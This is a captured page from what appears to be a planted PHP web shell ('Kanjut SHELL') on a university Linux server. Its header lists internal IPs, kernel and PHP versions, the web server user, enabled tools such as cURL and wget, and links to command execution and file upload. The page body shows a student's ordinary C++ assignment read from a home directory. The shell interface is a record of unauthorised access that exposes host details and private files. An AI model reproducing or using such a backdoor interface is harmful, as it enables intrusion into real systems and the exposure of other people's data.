Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.103.185
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/mrlong/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mrlong/mathloop.cpp
//	Miles Long
//	Due Date 9/19
//	Instructor: Dr. Wang
//	File name: mathloop.cpp
//	Compiling: g++ mathloop.cpp -o mathloop.out
//	Execution: ./mathloop.out
//
//	Goal: This program will read two positive numbers and output their 
//	operations for addition, subtraction, multiplication, and division 



#include <iostream>
#include <iomanip>

using namespace std;

int main()
{

	// Variable Declaration
	float num1, num2, add, min, mult, div;
	
	cout << fixed << showpoint << setprecision(1);
	
	// Input
        cout << "\nInput the first number (-1 to quit) ";
        cin >> num1;
	
	// loop
	while ( num1 > 0)
	
	{
		
		// Input
		cout << "Input the second number: ";
		cin >> num2;
	
		// Computing
		add = num1 + num2;
  		min = num1 - num2;
		mult = num1 * num2;
		div = num1 / num2;

		// Output
	 	cout << "\n" << num1  << "\t+\t" << num2 << "\t=\t" << add << "\n";
	 	cout << num1  << "\t-\t" << num2 << "\t=\t" << min << "\n";
	 	cout << num1  << "\t*\t" << num2 << "\t=\t" << mult << "\n";
	 	cout << num1  << "\t/\t" << num2 << "\t=\t" << div << "\n\n";
		
		// Input
		cout << "Input the first number (-1 to quit) ";
		cin >> num1;
	 }

	return 0;
}

Stv3n404 - 2023